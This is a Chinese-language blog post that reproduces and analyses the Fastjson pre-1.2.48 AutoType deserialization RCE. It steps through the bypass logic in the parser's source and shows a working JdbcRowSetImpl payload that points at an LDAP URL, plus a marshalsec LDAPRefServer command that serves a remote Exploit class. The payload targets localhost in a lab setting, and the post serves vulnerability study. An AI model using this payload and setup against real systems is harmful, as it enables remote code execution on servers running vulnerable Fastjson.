Fastjson < 1.2.48版本 RCE漏洞复现与分析
前言
这是我第一次接触Java,第一次学习漏洞分析,有很多东西不懂和写的不全,请各位多多指导
一、漏洞背景
AutoType
fastjson将Java Bean序列化成JSON字符串,这样可以将得到字符串通过数据库等方式进行持久化了。但是fastjson并没有利用Java自带的序列化机制,而是自定义了一套机制。通过AutoType可以在序列化的时候把原始类型保留下来。使用 SerializerFeature.WriteClassName 进行标记后,JSON字符串中多出了一个 @type 字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。也就是说,fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那么就可以利用这个特性,构造一个JSON字符串,并且使用@type指定一个攻击类库,执行任意命令。
com.sun.rowset.JdbcRowSetImpl
这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法,ldap同理。
- 基于ldap的利用方式:适用jdk版本:
JDK 11.0.1
、8u191
、7u201
、6u211
之前。 - 基于rmi的利用方式:适用jdk版本:
JDK 6u132
,JDK 7u122
,JDK 8u113
之前。
checkAutoType绕过
checkAutotype会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。可fastjson会在加载类时去掉className前后的L 和 ;,据此特性,只要用Lcom.sun.rowset.JdbcRowSetImpl;即可绕过检查,且双写LL和 ;; 依然可以绕过检查。同时,fastjson 对[ 也做了处理。
关于添加 L 和 ; 绕过的原因(来自 LzSkyline 的补充)
这个其实是类描述符的特征. fastjson使用了字符串判断的方式去检测传入的内容是否符合这个特征, 如果符合就掐头去尾重新生成类(FastJson允许反序列化任何对象, 所以也需要支持各种描述符)
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
…………
} else if (className.startsWith(“L”) && className.endsWith(“;”)) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
类描述符是JNI(JavaNative Interface)字段描述符的一种, 以L开头;结尾, 比如:
Ljava/lang/String; 就是对String类的描述
缓存机制
Fastjson 的全局缓存在autotype没有开启的时候会从缓存获取类,当把恶意类加载到缓存中时,又可以绕过黑白名单的检测了。例如 java.lang.Class
异常的利用
Fastjson 反序列化处理类用到 ThrowableDeserializer,在ThrowableDeserializer#deserialze的方法中,当有一个字段的key也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。当指定expectClass ,既可通过校验。所以攻击者利用在反序列化的时执行getter(把一个Java对象转换成字符串的方式之一),攻击者自定义一个异常,就可以调用Exception类中的getMessage方法。
二、调试分析
1.首先看到payload传入了text中
2.0在ParserConfig.getGlobalInstance() 中 autoTypeSupport=false
2.1进入return parse(text, ParserConfig.getGlobalInstance(), features);后,在text不为空的情况下走到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
2.2 看到初始化类,加载基础操作,说明DefaultJSONParser完成了大部分Parse相关工作
2.3来到Object value = parser.parse();
2.4 进入后看到lexer, 在这发现了词法和语法分析步骤。JSONLexer lexer = this.lexer;借助词法分析完成字符到token的转换,语法将token转换成语法树,对传入的text进行“扫描”分析。token=12,代表”{“花括号,也就是我们payload的第一个字符。此后按payload字符顺序“扫描”。
2.5 来到12 的分支,返回this.parseObject((Map)object, fieldName);
2.6 判断传入的object对象类型是否是 json,根据类型调用方法getInnerMap()获取映射表获取
3.0 开始各种循环扫,使用while扫描传入的字符串,把里面的数据拿出来做下一步操作
3.1 判断是字符是否为双引号 是的话往下走取key
3.2 此时获取key=rand1
3.3 往下扫描后,此时JSON.DEFAULT_TYPE_KEY取值为@type
3.4 判断是否为 “$ref”且context != null
4.0 设置context
0此时满足key=@type, typeName = java.lang.Class,满足条件,准备进入checkAutoType
6.0 checkAutoType中,autoTypeSupport=fale 没有开启,前面提到没有开启的时候会从缓存获取类,当把恶意类加载到缓存中时,又可以绕过黑白名单的检测。
7.0准备进入关键的TypeUtils.getClassFromMapping(typeName);
7.1 初始mapping里缓存了白名单类,不经过autoType检查
7.2 clazz = null 调用this.deserializers.findClass(typeName);
7.3 各种扫描循环
8.0 进入ObjectDeserializer deserializer = this.config.getDeserializer(clazz); 后 objVal 获取到恶意类com.sun.rowset.JdbcRowSetImpl
8.1 在各种判断后来到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); 判断前文提到的L和[
8.2 此时 cache为真,恶意类会放入mapping中进行缓存
返回clazz 是恶意类com.sun.rowset.JdbcRowSetImpl
8.3 相比7.1截图可知,此时className 已经变为恶意类,且cache在这默认为真
9.0 在一些列扫描后 key = rand2
9.1 扫描到rand2 的 @type
9.2 之前缓存的恶意类出现了
9.3恶意类绕过各种检查 ,满足expectClass == null 直接到clazz = TypeUtils.getClassFromMapping(typeName);
9.4 进入后依旧提取缓存的恶意类
9.5此时clazz由原本的null 变为恶意类
9.6
9.7 dataSourceName
9.8 扫描到 ldap
9.9 此时的object value fieldName都已经准备好了
9.9.1 setValue(object, value); 执行恶意类 和 ldap
10.0 method执行恶意类 通过dataSourceName 抛出异常以调用Exception类中的getMessage方法,触发漏洞。
11.0 执行this.connect()
12.0 请求连接ldap,进行远程命令执行
三、漏洞复现
payload
String payload=”{“ +
“"rand1": {“ +
“"@type": "java.lang.Class",” +
“"val": "com.sun.rowset.JdbcRowSetImpl” +
“"},”+
“"rand2": {“ +
“"@type": "com.sun.rowset.JdbcRowSetImpl",”+
“"dataSourceName": "ldap://127.0.0.1:8088/Exploit",”+
“"autoCommit": true” +
“}” +
“}”;
工具
利用 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://127.0.0.1:8000/#Exploit" 8088 开启ldap服务
利用 python -m SimpleHTTPServer 开启网站服务
报错信息
Exception in thread “main” com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:162)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:124)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:1078)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1283)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:384)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:544)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1356)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1322)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.example.FastjsonExp.main(FastjsonExp.java:24)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:110)
… 14 more
Caused by: java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
… 19 more
Process finished with exit code 1
DNSlog 测试
修改payload后测试dnslog情况
测试DNSlog Wireshark抓包依旧成功,漏洞存在成立
If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !